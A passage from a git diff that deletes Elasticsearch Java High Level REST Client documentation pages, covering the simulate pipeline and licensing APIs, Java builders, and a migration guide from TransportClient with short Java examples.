- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[put-pipeline-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
diff --git a/docs/java-rest/high-level/ingest/simulate_pipeline.asciidoc b/docs/java-rest/high-level/ingest/simulate_pipeline.asciidoc
deleted file mode 100644
index 9d1bbd06ceb..00000000000
--- a/docs/java-rest/high-level/ingest/simulate_pipeline.asciidoc
+++ /dev/null
@@ -1,90 +0,0 @@
-[[java-rest-high-ingest-simulate-pipeline]]
-=== Simulate Pipeline API
-
-[[java-rest-high-ingest-simulate-pipeline-request]]
-==== Simulate Pipeline Request
-
-A `SimulatePipelineRequest` requires a source and a `XContentType`. The source consists
-of the request body. See the https://www.elastic.co/guide/en/elasticsearch/reference/master/simulate-pipeline-api.html[docs]
-for more details on the request body.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[simulate-pipeline-request]
---------------------------------------------------
-<1> The request body as a `ByteArray`.
-<2> The XContentType for the request body supplied above.
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[simulate-pipeline-request-pipeline-id]
---------------------------------------------------
-<1> You can either specify an existing pipeline to execute against the provided documents, or supply a
-pipeline definition in the body of the request. This option sets the id for an existing pipeline.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[simulate-pipeline-request-verbose]
---------------------------------------------------
-<1> To see the intermediate results of each processor in the simulate request, you can add the verbose parameter
-to the request.
-
-[[java-rest-high-ingest-simulate-pipeline-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[simulate-pipeline-execute]
---------------------------------------------------
-<1> Execute the request and get back the response in a `SimulatePipelineResponse` object.
-
-[[java-rest-high-ingest-simulate-pipeline-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a simulate pipeline request requires both the `SimulatePipelineRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[simulate-pipeline-execute-async]
---------------------------------------------------
-<1> The `SimulatePipelineRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `SimulatePipelineResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[simulate-pipeline-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-ingest-simulate-pipeline-response]]
-==== Simulate Pipeline Response
-
-The returned `SimulatePipelineResponse` allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[simulate-pipeline-response]
---------------------------------------------------
-<1> Get results for each of the documents provided as instance of `List<SimulateDocumentResult>`.
-<2> If the request was in verbose mode cast the response to `SimulateDocumentVerboseResult`.
-<3> Check the result after each processor is applied.
-<4> Get the ingest document for the result obtained in 3.
-<5> Or get the failure for the result obtained in 3.
-<6> Get the result as `SimulateDocumentBaseResult` if the result was not verbose.
-<7> Get the ingest document for the result obtained in 6.
-<8> Or get the failure for the result obtained in 6.
diff --git a/docs/java-rest/high-level/java-builders.asciidoc b/docs/java-rest/high-level/java-builders.asciidoc
deleted file mode 100644
index 89f2de5fa9f..00000000000
--- a/docs/java-rest/high-level/java-builders.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-[[java-rest-high-java-builders]]
-== Using Java Builders
-
-The Java High Level REST Client depends on the Elasticsearch core project which provides
-different types of Java `Builders` objects, including:
-
-Query Builders::
-
-The query builders are used to create the query to execute within a search request. There
-is a query builder for every type of query supported by the Query DSL. Each query builder
-implements the `QueryBuilder` interface and allows to set the specific options for a given
-type of query. Once created, the `QueryBuilder` object can be set as the query parameter of
-`SearchSourceBuilder`. The <<java-rest-high-search-request-building-queries, Search Request>>
-page shows an example of how to build a full search request using `SearchSourceBuilder` and
-`QueryBuilder` objects. The <<java-rest-high-query-builders, Building Search Queries>> page
-gives a list of all available search queries with their corresponding `QueryBuilder` objects
-and `QueryBuilders` helper methods.
-
-Aggregation Builders::
-
-Similarly to query builders, the aggregation builders are used to create the aggregations to
-compute during a search request execution. There is an aggregation builder for every type of
-aggregation (or pipeline aggregation) supported by Elasticsearch. All builders extend the
-`AggregationBuilder` class (or `PipelineAggregationBuilder`class). Once created, `AggregationBuilder`
-objects can be set as the aggregation parameter of `SearchSourceBuilder`. There is a example
-of how `AggregationBuilder` objects are used with `SearchSourceBuilder` objects to define the aggregations
-to compute with a search query in <<java-rest-high-search-request-building-aggs, Search Request>> page.
-The <<java-rest-high-aggregation-builders, Building Aggregations>> page gives a list of all available
-aggregations with their corresponding `AggregationBuilder` objects and `AggregationBuilders` helper methods.
-
-include::query-builders.asciidoc[]
-include::aggs-builders.asciidoc[]
diff --git a/docs/java-rest/high-level/licensing/delete-license.asciidoc b/docs/java-rest/high-level/licensing/delete-license.asciidoc
deleted file mode 100644
index d9aec6e57a1..00000000000
--- a/docs/java-rest/high-level/licensing/delete-license.asciidoc
+++ /dev/null
@@ -1,51 +0,0 @@
-[[java-rest-high-delete-license]]
-=== Delete License
-
-[[java-rest-high-delete-license-execution]]
-==== Execution
-
-The license can be deleted using the `deleteLicense()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[delete-license-execute]
---------------------------------------------------
-
-[[java-rest-high-delete-license-response]]
-==== Response
-
-The returned `DeleteLicenseResponse` contains the `acknowledged` flag, which
-returns true if the request was processed by all nodes.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[delete-license-response]
---------------------------------------------------
-<1> Check the acknowledge flag. It should be true if license deletion is acknowledged.
-
-[[java-rest-high-delete-license-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[delete-license-execute-async]
---------------------------------------------------
-<1> The `DeleteLicenseRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `DeleteLicenseResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[delete-license-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/licensing/get-basic-status.asciidoc b/docs/java-rest/high-level/licensing/get-basic-status.asciidoc
deleted file mode 100644
index ffca094a592..00000000000
--- a/docs/java-rest/high-level/licensing/get-basic-status.asciidoc
+++ /dev/null
@@ -1,23 +0,0 @@
-[[java-rest-high-get-basic-status]]
-=== Get Basic Status
-
-[[java-rest-high-get-basic-status-execution]]
-==== Execution
-
-The basic status of the license can be retrieved as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[get-basic-status-execute]
---------------------------------------------------
-
-[[java-rest-high-get-basic-status-response]]
-==== Response
-
-The returned `GetTrialStatusResponse` holds only a `boolean` flag:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[get-basic-status-response]
---------------------------------------------------
-<1> Whether the license is eligible to start basic or not
diff --git a/docs/java-rest/high-level/licensing/get-license.asciidoc b/docs/java-rest/high-level/licensing/get-license.asciidoc
deleted file mode 100644
index 17eb89450fb..00000000000
--- a/docs/java-rest/high-level/licensing/get-license.asciidoc
+++ /dev/null
@@ -1,50 +0,0 @@
-[[java-rest-high-get-license]]
-=== Get License
-
-[[java-rest-high-get-license-execution]]
-==== Execution
-
-The license can be added or updated using the `getLicense()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[get-license-execute]
---------------------------------------------------
-
-[[java-rest-high-get-license-response]]
-==== Response
-
-The returned `GetLicenseResponse` contains the license in the JSON format.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[get-license-response]
---------------------------------------------------
-<1> The text of the license.
-
-[[java-rest-high-get-license-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[get-license-execute-async]
---------------------------------------------------
-<1> The `GetLicenseRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `GetLicenseResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[get-license-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/licensing/get-trial-status.asciidoc b/docs/java-rest/high-level/licensing/get-trial-status.asciidoc
deleted file mode 100644
index f117f9aa838..00000000000
--- a/docs/java-rest/high-level/licensing/get-trial-status.asciidoc
+++ /dev/null
@@ -1,23 +0,0 @@
-[[java-rest-high-get-trial-status]]
-=== Get Trial Status
-
-[[java-rest-high-get-trial-status-execution]]
-==== Execution
-
-The trial status of the license can be retrieved as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[get-trial-status-execute]
---------------------------------------------------
-
-[[java-rest-high-get-trial-status-response]]
-==== Response
-
-The returned `GetTrialStatusResponse` holds only a `boolean` flag:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[get-trial-status-response]
---------------------------------------------------
-<1> Whether the license is eligible to start trial or not
diff --git a/docs/java-rest/high-level/licensing/put-license.asciidoc b/docs/java-rest/high-level/licensing/put-license.asciidoc
deleted file mode 100644
index 945d447317b..00000000000
--- a/docs/java-rest/high-level/licensing/put-license.asciidoc
+++ /dev/null
@@ -1,65 +0,0 @@
-[[java-rest-high-put-license]]
-=== Update License
-
-[[java-rest-high-put-license-execution]]
-==== Execution
-
-The license can be added or updated using the `putLicense()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[put-license-execute]
---------------------------------------------------
-<1> Set the categories of information to retrieve. The default is to
-return no information which is useful for checking if {xpack} is installed
-but not much else.
-<2> A JSON document containing the license information.
-
-[[java-rest-high-put-license-response]]
-==== Response
-
-The returned `PutLicenseResponse` contains the `LicensesStatus`,
-`acknowledged` flag and possible acknowledge messages. The acknowledge messages
-are present if you previously had a license with more features than one you
-are trying to update and you didn't set the `acknowledge` flag to `true`. In this case
-you need to display the messages to the end user and if they agree, resubmit the
-license with the `acknowledge` flag set to `true`. Please note that the request will
-still return a 200 return code even if requires an acknowledgement. So, it is
-necessary to check the `acknowledged` flag.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[put-license-response]
---------------------------------------------------
-<1> The status of the license
-<2> Make sure that the license is valid.
-<3> Check the acknowledge flag. It should be true if license is acknowledged.
-<4> Otherwise we can see the acknowledge messages in `acknowledgeHeader()`
-<5> and check component-specific messages in `acknowledgeMessages()`.
-
-[[java-rest-high-put-license-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[put-license-execute-async]
---------------------------------------------------
-<1> The `PutLicenseRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `PutLicenseResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[put-license-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/licensing/start-basic.asciidoc b/docs/java-rest/high-level/licensing/start-basic.asciidoc
deleted file mode 100644
index 3ff50cfd2db..00000000000
--- a/docs/java-rest/high-level/licensing/start-basic.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[[java-rest-high-start-basic]]
-=== Start Basic License
-
-[[java-rest-high-start-basic-execution]]
-==== Execution
-
-This API creates and enables a basic license using the `startBasic()` method.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[start-basic-execute]
---------------------------------------------------
-
-[[java-rest-high-start-basic-response]]
-==== Response
-
-The returned `StartBasicResponse` returns a field indicating whether the
-basic was started. If it was started, the response returns a the type of
-license started. If it was not started, it returns an error message describing
-why.
-
-Acknowledgement messages may also be returned if this API was called without
-the `acknowledge` flag set to `true`.  In this case you need to display the
-messages to the end user and if they agree, resubmit the request with the
-`acknowledge` flag set to `true`. Please note that the response will still
-return a 200 return code even if it requires an acknowledgement. So, it is
-necessary to check the `acknowledged` flag.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[start-basic-response]
---------------------------------------------------
-<1> Whether or not the request had the `acknowledge` flag set
-<2> Whether or not this request caused a basic to start
-<3> If this request did not cause a basic to start, a message explaining why
-<4> If the user's request did not have the `acknowledge` flag set, a summary
-of the user's acknowledgement required for this API
-<5> If the user's request did not have the `acknowledge` flag set, contains
-keys of commercial features and values of messages describing how they will
-be affected by licensing changes as the result of starting a basic
-
-[[java-rest-high-start-basic-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[start-basic-execute-async]
---------------------------------------------------
-<1> The `StartBasicResponse` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `StartBasicResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[start-basic-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/licensing/start-trial.asciidoc b/docs/java-rest/high-level/licensing/start-trial.asciidoc
deleted file mode 100644
index 0f198a391f0..00000000000
--- a/docs/java-rest/high-level/licensing/start-trial.asciidoc
+++ /dev/null
@@ -1,70 +0,0 @@
-[[java-rest-high-start-trial]]
-=== Start Trial
-
-[[java-rest-high-start-trial-execution]]
-==== Execution
-
-This API creates and enables a trial license using the `startTrial()`
-method.
-
-["source","java",subs="attributes,callouts,macros"]
----------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[start-trial-execute]
----------------------------------------------------
-<1> Sets the "acknowledge" parameter to true, indicating the user has
-acknowledged that starting a trial license may affect commercial features
-
-[[java-rest-high-start-trial-response]]
-==== Response
-
-The returned `StartTrialResponse` returns a field indicating whether the
-trial was started. If it was started, the response returns a the type of
-license started. If it was not started, it returns an error message describing
-why.
-
-Acknowledgement messages may also be returned if this API was called without
-the `acknowledge` flag set to `true`.  In this case you need to display the
-messages to the end user and if they agree, resubmit the request with the
-`acknowledge` flag set to `true`. Please note that the response will still
-return a 200 return code even if it requires an acknowledgement. So, it is
-necessary to check the `acknowledged` flag.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[start-trial-response]
---------------------------------------------------
-<1> Whether or not the request had the `acknowledge` flag set
-<2> Whether or not this request caused a trial to start
-<3> If this request caused a trial to start, which type of license it
-registered
-<4> If this request did not cause a trial to start, a message explaining why
-<5> If the user's request did not have the `acknowledge` flag set, a summary
-of the user's acknowledgement required for this API
-<6> If the user's request did not have the `acknowledge` flag set, contains
-keys of commercial features and values of messages describing how they will
-be affected by licensing changes as the result of starting a trial
-
-[[java-rest-high-start-trial-async]]
-==== Asynchronous execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[start-trial-execute-async]
---------------------------------------------------
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `StartTrialResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/LicensingDocumentationIT.java[start-trial-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
\ No newline at end of file
diff --git a/docs/java-rest/high-level/migration.asciidoc b/docs/java-rest/high-level/migration.asciidoc
deleted file mode 100644
index c8db57f5259..00000000000
--- a/docs/java-rest/high-level/migration.asciidoc
+++ /dev/null
@@ -1,289 +0,0 @@
-[[java-rest-high-level-migration]]
-== Migration Guide
-
-This section describes how to migrate existing code from the `TransportClient`
-to the Java High Level REST Client released with the version 5.6.0
-of Elasticsearch.
-
-=== Motivations around a new Java client
-
-The existing `TransportClient` has been part of Elasticsearch since https://github.com/elastic/elasticsearch/blob/b3337c312765e51cec7bde5883bbc0a08f56fb65/modules/elasticsearch/src/main/java/org/elasticsearch/client/transport/TransportClient.java[its very first commit].
- It is a special client as it uses the transport protocol to communicate with Elasticsearch,
- which causes compatibility problems if the client is not on the same version as the
- Elasticsearch instances it talks to.
-
-We released a low-level REST client in 2016, which is based on the well known Apache HTTP
-client and it allows to communicate with an Elasticsearch cluster in any version using HTTP.
-On top of that we released the high-level REST client which is based on the low-level client
-but takes care of request marshalling and response un-marshalling.
-
-If you're interested in knowing more about these changes, we wrote a blog post about the
-https://www.elastic.co/blog/state-of-the-official-elasticsearch-java-clients[state of the official Elasticsearch Java clients].
-
-=== Prerequisite
-
-The Java High Level Rest Client requires Java `1.8` and can be used to send requests
-to an <<java-rest-high-compatibility,Elasticsearch cluster in a compatible version>>.
-
-=== How to migrate
-
-Adapting existing code to use the `RestHighLevelClient` instead of the `TransportClient`
-requires the following steps:
-
-- Update dependencies
-- Update client initialization
-- Update application code
-
-=== Updating the dependencies
-
-Java application that uses the `TransportClient` depends on the
-`org.elasticsearch.client:transport` artifact. This dependency
-must be replaced by a new dependency on the high-level client.
-
-The <<java-rest-high-getting-started,Getting Started>> page shows
- typical configurations for Maven and Gradle and presents the
- <<java-rest-high-getting-started-dependencies, dependencies>> brought by the
- high-level client.
-
-// This ID is bad but it is the one we've had forever.
-[[_changing_the_client_8217_s_initialization_code]]
-=== Changing the client's initialization code
-
-The `TransportClient` is typically initialized as follows:
-[source,java]
---------------------------------------------------
-Settings settings = Settings.builder()
-        .put("cluster.name", "prod").build();
-
-TransportClient transportClient = new PreBuiltTransportClient(settings)
-        .addTransportAddress(new TransportAddress(InetAddress.getByName("localhost"), 9300))
-        .addTransportAddress(new TransportAddress(InetAddress.getByName("localhost"), 9301));
---------------------------------------------------
-
-The initialization of a `RestHighLevelClient` is different. It requires to provide
-a <<java-rest-low-usage-initialization,low-level client builder>> as a constructor
-argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[rest-high-level-client-init]
---------------------------------------------------
-
-NOTE: The `RestClient` uses Elasticsearch's HTTP service which is
- bounded by default on `9200`. This port is different from the port
- used to connect to Elasticsearch with a `TransportClient`.
-
-The `RestHighLevelClient` is thread-safe. It is typically instantiated by the
-application at startup time or when the first request is executed.
-
-Once the `RestHighLevelClient` is initialized, it can be used to execute any
-of the <<java-rest-high-supported-apis,supported APIs>>.
-
-As with the `TransportClient`, the `RestHighLevelClient` must be closed when it
-is not needed anymore or when the application is stopped.
-
-The code that closes the `TransportClient`:
-
-[source,java]
---------------------------------------------------
-transportClient.close();
---------------------------------------------------
-
-must be replaced with:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[rest-high-level-client-close]
---------------------------------------------------
-
-// This ID is bad but it is the one we've had forever.
-[[_changing_the_application_8217_s_code]]
-=== Changing the application's code
-
-The `RestHighLevelClient` supports the same request and response objects
-as the `TransportClient`, but exposes slightly different methods to
-send the requests.
-
-More importantly, the high-level client:
-
-- does not support request builders. The legacy methods like
-`client.prepareIndex()` must be changed to use
- request constructors like `new IndexRequest()` to create requests
- objects. The requests are then executed using synchronous or
- asynchronous dedicated methods like `client.index()` or `client.indexAsync()`.
-
-==== How to migrate the way requests are built
-
-The Java API provides two ways to build a request: by using the request's constructor or by using
-a request builder. Migrating from the `TransportClient` to the high-level client can be
-straightforward if application's code uses the former, while changing usages of the latter can
-require more work.
-
-[[java-rest-high-level-migration-request-ctor]]
-===== With request constructors
-
-When request constructors are used, like in the following example:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MigrationDocumentationIT.java[migration-request-ctor]
---------------------------------------------------
-<1> Create an `IndexRequest` using its constructor and id() setter.
-
-The migration is very simple. The execution using the `TransportClient`:
-
-[source,java]
---------------------------------------------------
-IndexResponse response = transportClient.index(indexRequest).actionGet();
---------------------------------------------------
-
-Can be easily replaced to use the `RestHighLevelClient`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MigrationDocumentationIT.java[migration-request-ctor-execution]
---------------------------------------------------
-
-[[java-rest-high-level-migration-request-builder]]
-===== With request builders
-
-The Java API provides a request builder for every type of request. They are exposed by the
-`TransportClient` through the many `prepare()` methods. Here are some examples:
-
-[source,java]
---------------------------------------------------
-IndexRequestBuilder indexRequestBuilder   = transportClient.prepareIndex();  // <1>
-DeleteRequestBuilder deleteRequestBuilder = transportClient.prepareDelete(); // <2>
-SearchRequestBuilder searchRequestBuilder = transportClient.prepareSearch(); // <3>
---------------------------------------------------
-<1> Create a `IndexRequestBuilder` using the `prepareIndex()` method from the `TransportClient`. The
-request builder encapsulates the `IndexRequest` to be executed.
-<2> Create a `DeleteRequestBuilder` using the `prepareDelete()` method from the `TransportClient`. The
-request builder encapsulates the `DeleteRequest` to be executed.
-<3> Create a `SearchRequestBuilder` using the `prepareSearch()` method from the `TransportClient`. The
-request builder encapsulates the `SearchRequest` to be executed.
-
-Since the Java High Level REST Client does not support request builders, applications that use
-them must be changed to use <<java-rest-high-level-migration-request-ctor,requests constructors>> instead.
-
-NOTE: While you are incrementally migrating your application and you have both the transport client
-and the high level client available you can always get the `Request` object from the `Builder` object
-by calling `Builder.request()`. We do not advise continuing to depend on the builders in the long run
-but it should be possible to use them during the transition from the transport client to the high
-level rest client.
-
-==== How to migrate the way requests are executed
-
-The `TransportClient` allows to execute requests in both synchronous and asynchronous ways. This is also
-possible using the high-level client.
-
-===== Synchronous execution
-
-The following example shows how a `DeleteRequest` can be synchronously executed using the `TransportClient`:
-
-[source,java]
---------------------------------------------------
-DeleteRequest request = new DeleteRequest("index", "doc", "id"); // <1>
-DeleteResponse response = transportClient.delete(request).actionGet(); // <2>
---------------------------------------------------
-<1> Create the `DeleteRequest` using its constructor
-<2> Execute the `DeleteRequest`. The `actionGet()` method blocks until a
-response is returned by the cluster.
-
-The same request synchronously executed using the high-level client is:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MigrationDocumentationIT.java[migration-request-sync-execution]
---------------------------------------------------
-<1> Execute the `DeleteRequest`. The `delete()` method blocks until a
-response is returned by the cluster.
-
-===== Asynchronous execution
-
-The following example shows how a `DeleteRequest` can be asynchronously executed using the `TransportClient`:
-
-[source,java]
---------------------------------------------------
-DeleteRequest request = new DeleteRequest("index", "doc", "id"); // <1>
-transportClient.delete(request, new ActionListener<DeleteResponse>() { // <2>
-    @Override
-    public void onResponse(DeleteResponse deleteResponse) {
-        // <3>
-    }
-
-    @Override
-    public void onFailure(Exception e) {
-        // <4>
-    }
-});
---------------------------------------------------
-<1> Create the `DeleteRequest` using its constructor
-<2> Execute the `DeleteRequest` by passing the request and a
-`ActionListener` that gets called on execution completion or
-failure. This method does not block and returns immediately.
-<3> The `onResponse()` method is called when the response is
-returned by the cluster.
-<4> The `onFailure()` method is called when an error occurs
-during the execution of the request.
-
-The same request asynchronously executed using the high-level client is:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MigrationDocumentationIT.java[migration-request-async-execution]
---------------------------------------------------
-<1> Create the `DeleteRequest` using its constructor
-<2> Execute the `DeleteRequest` by passing the request and a
-`ActionListener` that gets called on execution completion or
-failure. This method does not block and returns immediately.
-<3> The `onResponse()` method is called when the response is
-returned by the cluster.
-<4> The `onFailure()` method is called when an error occurs
-during the execution of the request.
-
-[[java-rest-high-level-migration-cluster-health]]
-==== Checking Cluster Health using the Low-Level REST Client
-
-Another common need is to check the cluster's health using the Cluster API. With
-the `TransportClient` it can be done this way:
-
-[source,java]
---------------------------------------------------
-ClusterHealthResponse response = client.admin().cluster().prepareHealth().get(); // <1>
-
-ClusterHealthStatus healthStatus = response.getStatus(); // <2>
-if (healthStatus != ClusterHealthStatus.GREEN) {
-    // <3>
-}
---------------------------------------------------
-<1> Execute a `ClusterHealth` with default parameters
-<2> Retrieve the cluster's health status from the response
-<3> Handle the situation where the cluster's health is not green
-
-With the low-level client, the code can be changed to:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MigrationDocumentationIT.java[migration-cluster-health]
---------------------------------------------------
-<1> Set up the request to wait for the cluster's health to become green if it isn't already.
-<2> Make the request and the get back a `Response` object.
-<3> Retrieve an `InputStream` object in order to read the response's content
-<4> Parse the response's content using Elasticsearch's helper class `XContentHelper`. This
- helper requires the content type of the response to be passed as an argument and returns
- a `Map` of objects. Values in the map can be of any type, including inner `Map` that are
- used to represent the JSON object hierarchy.
-<5> Retrieve the value of the `status` field in the response map, casts it as a `String`
-object and use the `ClusterHealthStatus.fromString()` method to convert it as a `ClusterHealthStatus`
-object. This method throws an exception if the value does not corresponds to a valid cluster
-health status.
-<6> Handle the situation where the cluster's health is not green
-
-Note that for convenience this example uses Elasticsearch's helpers to parse the JSON response
-body, but any other JSON parser could have been use instead.
-
-=== Provide feedback
-
-We love to hear from you! Please give us your feedback about your migration
-experience and how to improve the Java High Level Rest Client on https://discuss.elastic.co/[our forum].
diff --git a/docs/java-rest/high-level/migration/get-deprecation-info.asciidoc b/docs/java-rest/high-level/migration/get-deprecation-info.asciidoc
deleted file mode 100644
index 3cda1c2f503..00000000000
--- a/docs/java-rest/high-level/migration/get-deprecation-info.asciidoc
+++ /dev/null
@@ -1,36 +0,0 @@
---
-:api: get-deprecation-info
-:request: DeprecationInfoRequest
-:response: DeprecationInfoResponse
---
-
-[id="{upid}-{api}"]
-=== Get Deprecation Info
-
-[id="{upid}-{api}-request"]
-==== Get Deprecation Info Request
-
-A +{request}+ can be applied to one or more indices:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Create a new request instance
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Deprecation Info Response
-
-The returned +{response}+ contains information about deprecated features currently
-in use at the cluster, node, and index level.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> a List of Cluster deprecations
-<2> a List of Node deprecations
-<3> a Map of key IndexName, value List of deprecations for the index
-<4> a list of Machine Learning related deprecations
diff --git a/docs/java-rest/high-level/miscellaneous/main.asciidoc b/docs/java-rest/high-level/miscellaneous/main.asciidoc
deleted file mode 100644
index 635fe6f3b99..00000000000
--- a/docs/java-rest/high-level/miscellaneous/main.asciidoc
+++ /dev/null
@@ -1,22 +0,0 @@
-[[java-rest-high-main]]
-=== Info API
-
-[[java-rest-high-main-request]]
-==== Execution
-
-Cluster information can be retrieved using the `info()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/MiscellaneousDocumentationIT.java[main-execute]
---------------------------------------------------
-
-[[java-rest-high-main-response]]
-==== Response
-
